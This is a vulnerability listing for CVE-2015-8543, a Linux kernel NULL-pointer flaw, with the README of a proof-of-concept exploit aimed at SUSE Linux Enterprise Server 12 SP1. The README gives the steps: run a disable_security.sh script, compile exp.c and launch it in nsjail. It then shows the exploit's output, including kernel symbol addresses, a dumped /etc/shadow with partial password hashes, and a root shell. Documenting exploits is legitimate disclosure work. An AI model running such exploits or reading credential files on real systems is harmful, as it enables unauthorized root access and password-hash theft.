CVE-2015-8543 PoC — Linux kernel networking 拒绝服务漏洞

Source

https://github.com/bittorrent3389/CVE-2015-8543_for_SLE12SP1

Associated Vulnerability

Title:Linux kernel networking 拒绝服务漏洞 (CVE-2015-8543)
Description:The networking implementation in the Linux kernel through 4.3.3, as used in Android and other products, does not validate protocol identifiers for certain protocol families, which allows local users to cause a denial of service (NULL function pointer dereference and system crash) or possibly gain privileges by leveraging CLONE_NEWUSER support to execute a crafted SOCK_RAW application.

Readme

```
$cat /etc/*-release
```
PRETTY_NAME="SUSE Linux Enterprise Server 12 SP1"
```
$id
```
uid=1000(jeremysp1) gid=100(users) groups=100(users)
```
$sudo sh disable_security.sh
$gcc exp.c -o exp 2>/dev/null
$../nsjail/nsjail -Mo --user 0 --group 0 --keep_caps --chroot / -- /bin/sh -i 
sh-4.2# /home/jeremysp1/null_pointer_derf/exp
```
[+] prepare_kernel_cred :ffffffff81081250
[+] commit_creds :ffffffff81080f80
[+] mmap is successfull.
[+] addr :        0
in trigger!!
at:!:16883::::::
bin:*:16765::::::
daemon:*:16765::::::
ftp:*:16765::::::
ftpsecure:!:16883::::::
games:*:16765::::::
gdm:!:16883::::::
lp:*:16765::::::
mail:*:16765::::::
man:*:16765::::::
messagebus:!:16765::::::
news:*:16765::::::
nobody:*:16765::::::
nscd:!:16765::::::
ntp:!:16883::::::
openslp:!:16765::::::
polkitd:!:16765::::::
postfix:!:16883::::::
pulse:!:16883::::::
root:$6$GfY2v.Bz1BPLFMpdu9RJeC2x95lYZnMP0:16883::::::
rpc:!:16765::::::
rtkit:!:16883::::::
scard:!:16883::::::
sshd:!:16765::::::
statd:!:16883::::::
usbmux:!:16883::::::
uucp:*:16765::::::
vnc:!:16883::::::
wwwrun:*:16765::::::
jeremysp1:$6$71vmiLA.:16883:0:99999:7:::
pesign:!:16885::::::
``` sh
sh-4.2# id
```
uid=0(root) gid=0(root) groups=0(root)

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